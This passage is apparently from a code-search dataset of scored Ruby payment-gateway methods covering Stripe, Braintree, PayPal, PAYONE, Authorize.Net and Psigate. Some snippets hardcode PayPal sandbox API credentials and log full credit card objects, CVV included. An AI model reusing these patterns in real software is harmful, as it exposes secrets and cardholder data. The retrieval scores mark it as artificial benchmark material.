transaction.\n xml.tag! 'Currency', options[:currency] || currency(money)\n\n # This is the ISO 3166-1 code of the country where the transaction takes place.\n # It is mandatory if the type of transaction is 'Single' or 'Initial'.\n xml.tag! 'CountryCode', options[:billing_address][:country]\n\n # This is the field, which is shown on the customer’s card statement\n # and can be used by the merchant for reference purposes. This feature\n # is not supported by all the acquirers. The size of this field depends\n # on the acquirer. Please contact Wirecard technical support for further clarification.\n # In essence keep it short.\n xml.tag! 'Usage', options[:usage] if options[:usage]\n\n # A recurring transaction describes a payment where the cardholder's\n # account is periodically charged for a repeated delivery and use of\n # a product or service (subscription, membership fee, etc.) over time.\n # A recurring transaction consists of an initial request\n # (which is identical in form and content to a single request) and\n # one or several repeated transaction request messages.\n # The \"+Initial+\" request message (which in most cases is an Authorization)\n # contains all relevant card and cardholder data, while the subsequent\n # \"+Repeated+\" message (which can be another Authorization, or a Capture or a Purchase)\n # simply references an identifier (the Global Unique Wirecard ID)\n # which is returned with the response message to the initial request.\n # Recurring transaction types:\n # :purchase\n # :authorization\n # :preauthorization\n # This is a collection of recurrent information which simplifies\n # the payment transaction message exchange between merchant and Wirecard.\n # A Recurring Transaction is one that is authorized once by the cardholder\n # for a repeated transaction by the merchant (e.g. monthly membership).\n # This collection must be provided if the transaction is ‘Initial’ or ‘Repeated’.\n xml.tag! 'RECURRING_TRANSACTION' do\n # NOTE: If the payment card data of a customer has changed, all\n # data must be re-submitted in form of an 'initial' transaction.\n # The system will generate a new reference GuWID which must be used\n # for all subsequent transactions by this cardholder.\n xml.tag! 'Type', options[:recurring]\n end\n end", "title": "" }, { "docid": "d6958414208542f9240bd7c325fefe52", "score": "0.62132716", "text": "def payment_method; end", "title": "" }, { "docid": "52b1c496cb9db7beafaa16038a518be1", "score": "0.618455", "text": "def pay\n \n end", "title": "" }, { "docid": "ed00e2eff9469d40b73d051f7782f5b1", "score": "0.6174821", "text": "def credit(money, provider_source, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Credit process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.debit_request\n set_initial_request_parameters(request)\n set_amount_request_parameters(request, '-' + money.to_s, gateway_options)\n set_payment_process_parameters(request, response_code)\n set_sequence_request_parameters(request, response_code)\n \n response = process_request request, gateway_options\n payment_provider_response response\n end", "title": "" }, { "docid": "aee5a81172cae4e966d31f399d14080d", "score": "0.6168526", "text": "def pay\n payment_details = {:type => nil,\n :redirect_url => nil,\n :merchant_account_id => \"budge\",\n :amount => nil}\n \n params[:type] ||= 'none'\n\n case params[:type]\n when 'none' # Just adding a payment method. NOT paying for anything\n @cancel_url = {:controller => :profile, :action => :settings}\n payment_details.merge!({:type => 'authorize',\n :redirect_url => \"/store/authorization_confirm\",\n :amount => 0.01})\n\n @kissmetrics[:record] << {:name => \"Entered authorization pipeline\", \n :properties => [{:name => 'Logged In', :value => (current_user ? 'true' : 'false')}]}\n \n when 'program' # Buying a program\n @program = Program.find params[:id]\n @item_being_purchased = @program\n @program_budge = ProgramBudge.find params[:optional_id] if params[:optional_id].present?\n @optional_id = @program_budge.id if @program_budge.present?\n @cancel_url = {:controller => :store, :action => :program, :id => @program.token}\n payment_details.merge!({:type => 'program',\n :redirect_url => \"/store/payment_confirm/#{@program.id}/program/#{(@program_budge.present? ? @program_budge.id : nil)}\",\n :amount => @program.price})\n\n if !current_user \n @kissmetrics[:record] << {:name => \"Entered payment pipeline (not in beta though)\", \n :properties => [{:name => 'Purchase Type', :value => params[:type]},\n {:name => 'Name', :value => @program.name},\n {:name => 'Price', :value => @program.price},\n {:name => 'Logged In', :value => (current_user ? 'true' : 'false')}]}\n else\n @kissmetrics[:record] << {:name => \"Entered payment pipeline\", \n :properties => [{:name => 'Purchase Type', :value => params[:type]},\n {:name => 'Name', :value => @program.name},\n {:name => 'Price', :value => @program.price},\n {:name => 'Logged In', :value => (current_user ? 'true' : 'false')}]}\n end\n when 'program_coach' # Buying a coach subscription\n @program_coach = ProgramCoach.find params[:id]\n @item_being_purchased = @program_coach\n @cancel_url = {:controller => :play, :action => :onboarding, :id => @program_coach.program_id, :anchor => 'coaches'}\n payment_details.merge!({:type => 'program_coach',\n :redirect_url => \"/store/payment_confirm/#{@program_coach.id}/program_coach\",\n :amount => @program_coach.price})\n\n @kissmetrics[:record] << {:name => \"Entered payment pipeline\", \n :properties => [{:name => 'Purchase Type', :value => params[:type]},\n {:name => 'Name', :value => @program_coach.user.twitter_username},\n {:name => 'Price', :value => @program_coach.price},\n {:name => 'Logged In', :value => (current_user ? 'true' : 'false')}]}\n when 'nag_mode' # Turning on Nag Mode\n @nag_mode = NagMode.find params[:id]\n @item_being_purchased = @nag_mode\n @program = Program.find params[:optional_id]\n @optional_id = @program.id if @program.present?\n @cancel_url = {:controller => :profile, :action => :user_info, :id => :nag_mode}\n payment_details.merge!({:type => 'nag_mode',\n :redirect_url => \"/store/payment_confirm/#{@nag_mode.id}/nag_mode/#{@program.id}\",\n :amount => @nag_mode.price})\n\n @kissmetrics[:record] << {:name => \"Entered payment pipeline\", \n :properties => [{:name => 'Purchase Type', :value => params[:type]},\n {:name => 'Name', :value => @nag_mode.name},\n {:name => 'Price', :value => @nag_mode.price},\n {:name => 'Logged In', :value => (current_user ? 'true' : 'false')}]}\n end\n \n if current_user\n @customer = Braintree::Customer.find(current_user.id.to_s) rescue nil\n\n if @customer.present?\n # Default to their newest credit card if they have one.\n if @customer.credit_cards.present?\n @credit_card = @customer.credit_cards.first\n end\n\n else\n @customer = Braintree::Customer.create!(\n :id => current_user.id,\n :first_name => current_user.name,\n :email => current_user.email,\n :phone => current_user.phone)\n end\n\n # Prepare Braintree for some CC information if we don't have a card already\n if @credit_card.blank? or params[:enter_new_card].present?\n @braintree_transparent_redirect_data = Braintree::TransparentRedirect.transaction_data(\n :redirect_url => \"https://#{SECURE_DOMAIN}#{payment_details[:redirect_url]}\",\n :transaction => {\n :customer_id => @customer.id,\n :type => 'sale',\n :amount => payment_details[:amount],\n :merchant_account_id => 'budge'\n }) \n \n end\n end\n end", "title": "" }, { "docid": "32dade9cc4e2d37a6d7275df31381f94", "score": "0.6161829", "text": "def pay\n if self.payment == nil\n self.payment = Base64.encode64(\"camp: #{self.camp_id}; student: #{self.student_id}; amount_paid: #{self.camp.cost}****#{self.credit_card_number[-4..-1]}\")\n end\n end", "title": "" }, { "docid": "5c6c0ca1bdfd32a8b1ae571849881cff", "score": "0.61517864", "text": "def payment_intent; end", "title": "" }, { "docid": "b280bf187de6e06ae0dfc2117ce13a1f", "score": "0.6145076", "text": "def pay_cardless(request)\n\t\tpayment_errors = validator.validate_pay_cardless_request(request)\n\t\treturn { :payment_errors => payment_errors } if payment_errors.any?\n\n\t\toptions = build_cardless_options(request)\n\t\tbegin\n\t\t\tcase request.intent\n\t\t\twhen :AUTHORIZATION\n\t\t\t\tresponse = providers[request.provider].authorize(request.payment_sum, options)\n\t\t\twhen :PURCHASE\n\t\t\t\tresponse = providers[request.provider].purchase(request.payment_sum, options)\n\t\t\tend\n\n\t\t\tif !(response.success?)\n\t \tpayment_errors << PaymentError.new(source: \"provider\", error_code: response.message)\n\t \treturn { :payment_errors => payment_errors }\n\t end\n\t\trescue ActiveMerchant::ActiveMerchantError => ex\n\t\t\tlog_msg = \"--- While trying to pay without card data via provider \\\"#{provider.to_s}\\\" exception occurred. ---\"\n\t\t\tlog_msg << \"--- Exception message: #{ex.message} ---\"\n\t\t\tdeliver_log_msg(log_msg)\n\n\t\t\tpayment_errors << PaymentError.new(source: \"provider\", error_code: ex.message)\n\t\t\treturn { :payment_errors => payment_errors }\n\t\tend\n\n\t\t# Logging to console for dev use only.\n\t\tputs \"--- Logging pay_cardless response ---\"\n\t\tputs response.to_yaml\n\t\tputs \"--- End of pay_cardless response logging ---\"\n\n\t\t# Log via Kafka.\n\t\tdeliver_log_msg(response.to_json)\n\n\t\tresult = {\n\t\t\t:payment_errors => payment_errors,\n\t\t\t:payment_id => response.params[\"transaction_id\"],\n\t\t\t:executed_on => response.params[\"PaymentInfo\"][\"PaymentDate\"]\n\t\t}\n\tend", "title": "" }, { "docid": "5f35222660889e37d7917f13901f82b0", "score": "0.61425495", "text": "def payment\n @userCompanyName = params[:hidCompanyName]\n @userFirstName = params[:hidFirstName]\n @userLastName = params[:hidLastName]\n @userPhoneNumber = params[:hidPhoneNumber]\n @userEmail = params[:hidEmail]\n @userStreetAddress = params[:hidStreetAddress]\n @userCity = params[:hidCity]\n @userState = params[:hidState]\n @userZipCode = params[:hidZipCode]\n @amount = params[:hidPrice]\n \n @subscribedUser = SubscribedUser.find_by(EmailID: @userEmail)\n \n currentTime = Time.new\n time = currentTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n @userPaymentDetails = UserPaymentDetail.new(UserID: @subscribedUser.id, TransactionAmount: @amount, PayTransactionID: \"\", ResponseString: \"\", DateCreated: time, DateUpdated: time)\n @userPaymentDetails.save\n \n \n \n @sequence = @userPaymentDetails.id\n @apiLoginId = AUTHORIZE_NET_CONFIG['api_login_id']\n @txnKey = AUTHORIZE_NET_CONFIG['api_transaction_key'] \n #@invoiceNumber = HMAC-MD5(@apiLoginId + \"^\" + @sequence + \"^\" + @amount + \"^\" + @txnKey + \"^\")\n \n uid = Time.now.to_i\n @uid = uid.to_s[6,9]\n @invoiceNumber = @uid + @userPaymentDetails.id.to_s + @userPaymentDetails.UserID.to_s\n @userPaymentDetails.TransactionAmount = @amount\n @userPaymentDetails.BLTransactionID = @invoiceNumber\n @userPaymentDetails.save\n #https://developer.authorize.net/tools/paramdump/index.php\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => AUTHORIZE_NET_CONFIG['relay_response_url'])\n #@sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => \"http://192.168.0.198:3000/authorize_payment/relay_response\")\n \n if(@sim_transaction.blank?) \n @userPaymentDetails.PaymentStatus = 0\n @userPaymentDetails.ResponseString = \"Error occured while generating request for sim transaction.\"\n @userPaymentDetails.DateUpdated = time\n @userPaymentDetails.save\n redirect_to user_registeration_GetRegister_url, :notice => \"Unable to Process Request, contact Nickslist for help!\"\n end \n end", "title": "" }, { "docid": "7ad1a90a2eaab1e5e7b48e15a8d4e8aa", "score": "0.6131194", "text": "def purchase_with_token(money, card_or_token, options = {})\n if card_or_token.respond_to?(:number)\n purchase_without_token(money, card_or_token, options)\n else\n Response.new(true, SUCCESS_MESSAGE, {:paid_amount => money.to_s}, :test => true)\n end\n end", "title": "" }, { "docid": "415c16db71e26bec7cb58a022730e6d0", "score": "0.61263096", "text": "def build_payment_card(card_data)\n\t\tcard = ActiveMerchant::Billing::CreditCard.new(\n :number => card_data.primary_number,\n :first_name => card_data.first_name,\n :last_name => card_data.last_name,\n :month => card_data.month,\n :year => card_data.year,\n :verification_value => card_data.verification_value\n\t\t)\n\tend", "title": "" }, { "docid": "ec3081a069e19959f111a5cd541665d9", "score": "0.6120369", "text": "def set_profile_after_update!(amount, card, payment_options, recurring_options)\n\n if amount\n # Split amount into net/taxes\n if payment_options.has_key?(:taxes_amount_included)\n self.net_money = amount - payment_options[:taxes_amount_included]\n self.taxes_money = payment_options[:taxes_amount_included]\n payment_options.delete(:taxes_amount_included)\n else\n self.net_money = amount\n self.taxes_amount = 0\n end\n end\n\n self.parse_and_set_card(card) if card\n self.subscription_name = payment_options[:subscription_name] if payment_options[:subscription_name]\n unless (ro = recurring_options).empty?\n self.pay_on_day_x = ro[:pay_on_day_x] unless ro[:pay_on_day_x].nil?\n end\n self.save\n end", "title": "" }, { "docid": "c3a74f790952411f446c907cb6d27021", "score": "0.6119492", "text": "def purchase(money, creditcard_or_payment_type, options = {})\n if creditcard_or_payment_type == :boleto\n options[:processor_id] = options[:extras][:boleto_processor_id]\n generate_boleto(money, options)\n elsif creditcard_or_payment_type == :bank_transfer\n options[:processor_id] = options[:extras][:debit_processor_id]\n bank_transfer(money, options)\n else\n options[:processor_id] = options[:extras][:credit_processor_id]\n common_purchase(money, creditcard_or_payment_type, options)\n end\n end", "title": "" }, { "docid": "d591bb16da79b13a5bfa8eda5fc5ae1c", "score": "0.6116062", "text": "def create\n ActiveMerchant::Billing::Base.mode = :test\n gateway = ActiveMerchant::Billing::PaypalGateway.new(\n :login => 'thiyagu.changepond-facilitator_api1.gmail.com',\n :password => '1374493558',\n :signature => 'AiPC9BjkCyDFQXbSkoZcgqH3hpacAImoUjk1P9STZr1GxBvY-WFDl6PX'\n )\n\n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :number => params[:subscription][:card_number],\n :month => params[:subscription][\"card_expires_on(2i)\" ],\n :year => params[:subscription][\"card_expires_on(1i)\" ],\n :first_name => \"Thiaygu\",\n :last_name => 'raja',\n :verification_value => 123,\n :type => \"visa\"\n )\n\n if credit_card.valid?\n # Create a gateway object to the TrustCommerce service\n # Authorize for $10 dollars (1000 cents)\n response = gateway.authorize(100, credit_card, :ip => \"127.0.0.1\")\n\n if response.success?\n gateway.capture(100, response.authorization)\n User.find(current_user.id).update_attributes(:purchased_at =>Time.now)\n redirect_to episode_path(params[:id])\n else\n raise \"Error: #{response.message}\"\n end\n else\n raise \"Error: credit card is not valid. #{credit_card.errors.full_messages.join('. ')}\"\n end\n end", "title": "" }, { "docid": "00f958b05c41ead443c49546fe301753", "score": "0.6108975", "text": "def credit_card\n\t @profile = @subscription.profile\n\t #@credit_card = @profile.new_credit_card\n\tend", "title": "" }, { "docid": "5a7aced2a9b860ad6ef44c5d47d880c7", "score": "0.6107442", "text": "def credit_card(first_name,last_name,number,month,year,verification_value)\n if first_name.present? and last_name.present?\n @credit_card = ActiveMerchant::Billing::CreditCard.new(\n :first_name => first_name,\n :last_name => last_name,\n :number => number,\n :month => month,\n :year => year,\n :verification_value => verification_value,\n )\n else\n @credit_card = ActiveMerchant::Billing::CreditCard.new(\n :first_name => first_name,\n :last_name => first_name,\n :number => number,\n :month => month,\n :year => year,\n :verification_value => verification_value,\n )\n end\n logger.warn(\"============credit_card==========#{@credit_card.inspect}\")\n return @credit_card\n end", "title": "" }, { "docid": "556cfbdc6161774508e0b656737bae7a", "score": "0.61015654", "text": "def to_credit_card_details_type(creditcard, options)\n cc_name = PersonNameType.new\n cc_name.firstName = creditcard.first_name\n cc_name.lastName = creditcard.last_name\n \n cc_address = AddressType.new\n\n if address = options[:billing_address] || options[:address]\n\n cc_address.street1 = address[:address1] unless address[:address1].blank?\n cc_address.street2 = address[:address2] unless address[:address2].blank?\n cc_address.cityName = address[:city] unless address[:city].blank?\n cc_address.stateOrProvince = address[:state] unless address[:state].blank?\n cc_address.postalCode = address[:zip] unless address[:zip].blank?\n cc_address.country = address[:country] unless address[:country].blank?\n \n end \n \n \n cc_user = PayerInfoType.new\n cc_user.payerName = cc_name\n cc_user.address = cc_address\n \n \n CreditCardDetailsType.new(to_credit_card_type(creditcard.type), creditcard.number,\n creditcard.month, creditcard.year,\n cc_user, creditcard.verification_value)\n end", "title": "" }, { "docid": "396e36e1ffe09041e26cb2cd48dcb927", "score": "0.6099159", "text": "def process_payment\n credit_card = self.user.credit_cards.find_by_id(self.credit_card_id)\n unless credit_card.nil?\n begin\n charge_fields = {\n :customer => self.user.client_id,\n :amount => (self.total_price * 100).round, # payment should be in cents\n :description => \"Order ##{self.id}\",\n :currency => 'usd',\n :source => credit_card.stripe_id,\n }\n unless self.restaurant.nil? # send money to restaurant with stripe connect\n unless self.restaurant.stripe_destination.blank?\n app_fee = Setting.get_float('Application fee')\n charge_fields[:destination] = self.restaurant.stripe_destination\n charge_fields[:application_fee] = (self.delivery_fee * 100 + app_fee * (self.total_price - self.delivery_fee)).round # application fee should be in cents too\n end\n end\n charge = Stripe::Charge.create(charge_fields)\n unless charge.nil?\n self.pay!\n end\n rescue Stripe::CardError => e\n self.errors.add :base, e.message\n end\n end\n end", "title": "" }, { "docid": "e001ecbd75443a36d461d61ac290fb00", "score": "0.6094691", "text": "def add_payment_method(credit_card)\n begin\n # Action\n action = \"AMA11\"\n @request[:Request][:Action] = action\n \n @request[:Request][:Account] = {\n :AccountID => accountid,\n :CardInfo => {}\n }\n \n %w( CardHolder CardNumber CardExpMonth CardExpYear ).each do |c|\n value = credit_card.send((c.downcase).to_sym)\n @request[:Request][:Account][:CardInfo][c.to_sym] = value if value\n end\n \n # Creates parameters\n params = RubyPsigate::Serializer.new(@request, :header => true).to_xml\n connection = RubyPsigate::Connection.new(self.class.credential.endpoint)\n response = connection.post(params)\n response = Response.new(response)\n self.response = response\n \n if response.success? && response.returncode == \"RPA-0015\"\n result = response.serialno\n else\n result = false\n end\n rescue ConnectionError => e\n result = false\n end\n result\n end", "title": "" }, { "docid": "73d9f81b2bf28f1a636e8ba25f5d8c2c", "score": "0.60887825", "text": "def store(payment, options = {})\n params = {}\n post = {}\n\n if payment.is_a?(ApplePayPaymentToken)\n token_exchange_response = tokenize_apple_pay_token(payment)\n params = { card: token_exchange_response.params['token']['id'] } if token_exchange_response.success?\n elsif payment.is_a?(StripePaymentToken)\n add_payment_token(params, payment, options)\n elsif payment.is_a?(Check)\n bank_token_response = tokenize_bank_account(payment)\n return bank_token_response unless bank_token_response.success?\n\n params = { source: bank_token_response.params['token']['id'] }\n else\n add_creditcard(params, payment, options)\n end\n\n post[:validate] = options[:validate] unless options[:validate].nil?\n post[:description] = options[:description] if options[:description]\n post[:email] = options[:email] if options[:email]\n\n if options[:account]\n add_external_account(post, params, payment)\n commit(:post, \"accounts/#{CGI.escape(options[:account])}/external_accounts\", post, options)\n elsif options[:customer]\n MultiResponse.run(:first) do |r|\n # The /cards endpoint does not update other customer parameters.\n r.process { commit(:post, \"customers/#{CGI.escape(options[:customer])}/cards\", params, options) }\n\n post[:default_card] = r.params['id'] if options[:set_default] && r.success? && !r.params['id'].blank?\n\n r.process { update_customer(options[:customer], post.merge(expand: [:sources])) } if post.count > 0\n end\n else\n post[:expand] = [:sources]\n commit(:post, 'customers', post.merge(params), options)\n end\n end", "title": "" }, { "docid": "9c19c0a0f919e4cced8a54ea5a810d11", "score": "0.60844666", "text": "def pay_on_ua_card(payment_id, card, amount, b_name, b_crf, b_bic, details, currency='UAH')\n Request.new(card_args).send_data_for(MOD, __method__.to_s) do |data|\n data.oper('cmt')\n data.wait('0')\n data.test('0')\n data.payment(id: payment_id) do\n data.prop(name: 'b_card_or_acc', value: card)\n data.prop(name: 'amt', value: amount)\n data.prop(name: 'ccy', value: currency)\n data.prop(name: 'b_name', value: b_name)\n data.prop(name: 'b_crf', value: b_crf)\n data.prop(name: 'b_bic', value: b_bic)\n data.prop(name: 'details', value: details)\n end\n end\n end", "title": "" }, { "docid": "5812da2978159931b8433c48674613b0", "score": "0.60812956", "text": "def validate_customer_payment_profile(input)\n \tdata = build_request('validateCustomerPaymentProfileRequest') do |xml|\n xml.customerProfileId input[:customer_profile_id] if input[:customer_profile_id]\n xml.customerPaymentProfileId input[:customer_payment_profile_id] if input[:customer_payment_profile_id]\n xml.customerAddressId input[:customer_address_id] if input[:customer_address_id]\n xml.cardCode input[:card_code] if input[:card_code]\n xml.validationMode input[:validation_mode] if input[:validation_mode]\n end \n parse send(data)\n end", "title": "" }, { "docid": "77b9c6905579ff8ed61a0bd6faf2e640", "score": "0.6076569", "text": "def stripe_customer_object(customer: \"cus_00000000000000\", plan: \"some plan_00000000000000\", subscription: false, subscription_status: \"active\", card: false)\n subscription_data, cards_data, default_card_data = nil, nil, nil\n subscription_data = {\n id: \"su_2vbKm2UYpLdDj2\",\n plan: {\n interval: \"month\",\n name: \"PricingPlan 1372\",\n amount: 1372,\n currency: \"usd\",\n id: plan,\n object: \"plan\",\n livemode: false,\n interval_count: 1,\n trial_period_days: 5\n },\n object: \"subscription\",\n start: 1384274081,\n status: subscription_status,\n customer: customer,\n cancel_at_period_end: true,\n current_period_start: 1384274081,\n current_period_end: 1384706081,\n ended_at: nil,\n trial_start: 1384274081,\n trial_end: 1384706081,\n canceled_at: 1384274085,\n quantity: 1,\n application_fee_percent: nil\n } if subscription or subscription_status or plan\n \n cards_data = {object:\"list\",count:0,url:\"/v1/customers/#{customer}/cards\",data:[]}\n cards_data = {\n object:\"list\",\n count:1,\n url:\"/v1/customers/#{customer}/cards\",\n data: [{\n id:\"card_2w11AX7TQuGRsc\",\n object:\"card\",\n last4:\"4242\",\n type:\"Visa\",\n exp_month:12,\n exp_year:2020,\n fingerprint:\"dnhIMe31mFOxK6Ic\",\n customer:customer,\n country:\"US\",\n name:nil,\n address_line1:nil,\n address_line2:nil,\n address_city:nil,\n address_state:nil,\n address_zip:nil,\n address_country:nil,\n cvc_check:nil,\n address_line1_check:nil,\n address_zip_check:nil\n }]\n } if card\n default_card_data = nil\n default_card_data = \"card_2w11AX7TQuGRsc\" if card\n \n h = {\n object: \"customer\",\n created: 1384274077,\n id: customer,\n livemode: false,\n description: \"Customer for test@example.com\",\n email: nil,\n delinquent: false,\n metadata: {\n },\n subscription: subscription_data,\n discount: nil,\n account_balance: 0,\n cards: cards_data,\n default_card: default_card_data\n }\n Stripe::Customer.construct_from(h)\nend", "title": "" }, { "docid": "ceca861e18895fafc7f56b32261d6cde", "score": "0.607259", "text": "def process!\n log_payment(\"Attempting to process payment: #{self}\")\n if valid?\n response = process_payment\n log_payment \"Processing - Received response: Success=#{response.success?} Auth=#{response.authorization} Params=<#{response.params}> Mesage=#{response.message}\"\n \n # Save the response reason code\n # Helps describe the specific problem\n self.response_reason_code = response.params['response_reason_code'] || response.params['result_code']\n \n self.authorization_code = response.authorization if response.success?\n self.cc_number = credit_card.display_number\n \n # Move to the state that correlates to the response code\n code = response.params['response_code'] || response.params['result_code']\n move_to_state!(code)\n\n unless approved?\n log_payment(\"Processing Failed - Not Approved: #{response.message}\")\n errors.add_to_base(\"The transaction was unsuccessful because #{response.message}\")\n end\n \n log_payment(\"Finished Processing: #{self}\")\n else\n errors.add_to_base(\"The credit card information is not valid.\")\n log_payment(\"Processing Failed - Invalid Payment: #{self.errors.full_messages.to_sentence}\")\n end\n\n return approved?\n end", "title": "" }, { "docid": "cce87d6787e386dda75a6d8ede247ddf", "score": "0.6064509", "text": "def purchase(money, creditcard, options = {})\n options[:capture] = 1\n MultiResponse.run do |r|\n r.process { token(creditcard, options) }\n r.process { charge(money, r.authorization, options) }\n end\n end", "title": "" }, { "docid": "2a25656570f63fc1b36315b0d459ecf8", "score": "0.60603523", "text": "def request_payment(options)\n check_token\n uri = \"/api/request-payment\"\n response = OpenStruct.new with_http_retries {\n request = self.class.post(uri, base_uri: \"https://money.yandex.ru\", headers: {\n \"Authorization\" => \"Bearer #{@token}\",\n \"Content-Type\" => \"application/x-www-form-urlencoded\"\n }, body: options)\n\n raise \"Insufficient Scope\" if request.response.code == \"403\"\n request.parsed_response\n }\n if response.error\n raise response.error.gsub(/_/, \" \").capitalize\n else\n response\n end\n end", "title": "" }, { "docid": "d555a7d479c0a839f39effd8d6d81fc4", "score": "0.60589445", "text": "def create_profile(payment)\n \n card = { :holder_name => payment.source.name,\n :number => payment.source.number,\n :cvc => payment.source.verification_value,\n :expiry_month => payment.source.month,\n :expiry_year => payment.source.year }\n\n create_profile_on_card payment, card\n end", "title": "" }, { "docid": "5ee5532a64a721564aa3863e3db521c0", "score": "0.6054748", "text": "def purchase_controller(ticker, profile, prompt)\n action = \"purchase\"\n num_shares, price = num_shares(ticker, profile, prompt, action)\n if verify_funds_available(profile, num_shares, price) == false\n puts \"Insufficient funds\"\n return ticker_info(profile, prompt)\n else \n profile.add_investments(ticker.ticker, num_shares, price)\n puts \"Successfully purchased #{num_shares} shares of #{ticker.ticker} for $#{(num_shares * price).round(2)}\"\n profile.update_available_funds(profile.available_funds - (num_shares * price).round(2))\n save_profile(profile, 'profiles.json')\n profile_controller(prompt, profile)\n end\nend", "title": "" }, { "docid": "ddb8831277224b0fcd3f127fb64a340e", "score": "0.60494536", "text": "def add_credit_card(card_hash)\n self.cim_id ||= get_new_cim_id\n if self.cim_id.blank?\n return false\n end\n if (card_type = card_hash.delete :type) != ActiveMerchant::Billing::CreditCard.type?(card_hash[:number])\n self.errors.add(:base,\"That is not a valid card number for the card type you selected, please check and try again.\")\n else\n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :number => card_hash[:number].gsub(/[\\s-]/,''),\n :first_name => card_hash[:first_name],\n :last_name => card_hash[:last_name],\n :month => card_hash[:month],\n :year => card_hash[:year],\n :verification_value => card_hash[:cvv], \n :type => ActiveMerchant::Billing::CreditCard.type?(card_hash[:number])\n )\n gateway = ActiveMerchant::Billing::AuthorizeNetCimGateway.new( :login => AUTH_NET_LOGIN, :password => AUTH_NET_TRANS_ID )\n response = gateway.create_customer_payment_profile(:customer_profile_id => self.cim_id,:payment_profile => {:payment => {:credit_card => credit_card}, :bill_to => {:first_name => self.billing_address.first_name, :last_name => self.billing_address.last_name, :address => (self.billing_address.address_1 + self.billing_address.address_2), :city => self.billing_address.city, :state => self.billing_address.state, :zip => self.billing_address.zipcode, :country => self.billing_address.country.iso}},:validation_mode => :live)\n if response.message != 'Successful.'\n handle_errors(response)\n self.errors.add(:base,\"*When attempting to add your card, we got this response from our processor:*<br/> *#{response.message}*<br/> *Please double-check the information you entered, or try using another credit card.*\")\n else\n self.card_valid = true\n self.save\n end\n end\n end", "title": "" }, { "docid": "639674aaa727b0257e793876a9fd854f", "score": "0.6045383", "text": "def credit_card_purchase\n card = credit_card\n self.last_four_digits = card.last_digits\n self.card_holder = \"#{card_first_name} #{card_last_name}\"\n amount = self.simulate_authentication_error == '1' ? 200100 : self.amount\n BRAINTREE_GATEWAY.purchase(amount, card)\n end", "title": "" }, { "docid": "19344c020bd7e4ad65762ff4b721ec92", "score": "0.6044509", "text": "def payment_setup\n\n end", "title": "" }, { "docid": "655b9074d35bea7669db92979872167b", "score": "0.6042442", "text": "def process!(options = {})\n raise ActiveRecord::RecordInvalid.new(self) unless self.valid?\n if (self.credit_card? || self.payment_type.nil?) && !new_record?\n raise Exceptions::PaymentAlreadyProcessed.new(\"You are trying to process a Credit Card payment that has already been saved - consider using a token payment\")\n end\n raise Exceptions::PaymentAlreadyProcessed if processed_at\n # Generate a reference number\n if self.credit_card? || self.payment_type.nil?\n # Charge the card\n self.reference = generate_unique_id\n response = GATEWAY.purchase((amount * 100).to_i, self.credit_card,\n :ip => \"127.0.0.1\",\n\t:billing_address => {\n :name => \"Subs Payments\",\n :address1 => \"William Street\",\n :city => \"Melbourne\",\n :state => \"VIC\",\n :country => \"AU\",\n :zip => \"3000\"\n \t}\n )\n unless response.success?\n raise Exceptions::PaymentFailedException.new(response.message)\n end\n end\n if self.token?\n raise Exceptions::PaymentTokenMissing if options[:token].blank?\n response = GATEWAY.trigger_recurrent((amount * 100).to_i, options[:token])\n unless response.success?\n raise Exceptions::PaymentFailedException.new(response.message)\n end\n self.reference = response.params['ponum']\n end\n self.processed_at = Time.now\n self.save!\n run_callbacks(:after_process)\n return true\n end", "title": "" }, { "docid": "c24cc142e85529485ce235bc4a76cde9", "score": "0.60409826", "text": "def payment_profiles_supported?\n false\n end", "title": "" }, { "docid": "8a67cd6feea24e287ccc62f27157b8f7", "score": "0.6039887", "text": "def process_payment\n\t\tcustomer = Stripe::Customer.create email: email, card: token\n\t\tStripe::Charge.create customer: customer.id, amount: 1000, description: 'Premium', currency: 'USD'\n\tend", "title": "" }, { "docid": "6c034aef87f071045356c38be3adcfb7", "score": "0.6036157", "text": "def process_payment\n\t\t# Creating customer\n\t\tcustomer = Stripe::Customer.create email: email, card: token\n\n\t\tStripe::Charge.create customer: customer.id,\n\t\t\t\t\t\t\t amount: 1000,\n\t\t\t\t\t\t\t description: 'Premium',\n\t\t\t\t\t\t\t currency: 'usd'\n\t\t# amount is $10 here = 10c * 1000\n\tend", "title": "" }, { "docid": "16e2a5ec7037e6659da419b29f9483a8", "score": "0.6033192", "text": "def authorize_payment(credit_card, options = {})\n options[:order_id] = number\n \n transaction do\n \n authorization = OrderTransaction.authorize(amount, credit_card, options)\n transactions.push(authorization)\n \n if authorization.success?\n payment_authorized!\n else\n transaction_declined!\n end\n \n authorization\n end\n end", "title": "" }, { "docid": "dd2068dcdd3e91d24692e9957bf637ac", "score": "0.60319585", "text": "def authorize(money, creditcard, gateway_options = {})\n Spree::PAYONE::Logger.info \"Authorize process started\"\n \n request = Spree::PAYONE::Proxy::Request.new\n request.preauthorization_request\n \n set_initial_request_parameters(request)\n set_status_url_request_parameters(request, gateway_options)\n set_credit_card_request_parameters(request, creditcard)\n set_amount_request_parameters(request, money, gateway_options)\n set_order_request_parameters(request, gateway_options)\n set_personal_data_request_parameters(request, gateway_options)\n set_billing_request_parameters(request, gateway_options)\n set_shipping_request_parameters(request, gateway_options)\n \n response = process_request request, gateway_options\n payment_provider_response response\n end", "title": "" }, { "docid": "e09e46b862bb24817977febbb90b4237", "score": "0.60247725", "text": "def record_payment amount=0, detail_type=UrTransaction.detail_types[:cc_payment]\n # raise error is amount is less that outstanding balance\n if self.check_outstanding > amount then\n raise \"Amount is not enough to cover expenses\"\n return\n end\n\n self.transaction do\n #split payment into tax, cut to jomgolf and actual revenue\n #need to take note when doing delta payments (esp when updating revenue count)\n outstanding_balance = self.check_outstanding\n tax_payment = outstanding_balance - (outstanding_balance / (1 + self.golf_club.tax_schedule.rate)).round(2)\n jomgolf_share = self.reserve_method == \"online\" ? NovGolf::PROVIDER_SHARE : NovGolf::DASHBOARD_PROVIDER_SHARE\n jomgolf_cut = ((outstanding_balance - tax_payment) * jomgolf_share).round(2)\n revenue_payment = 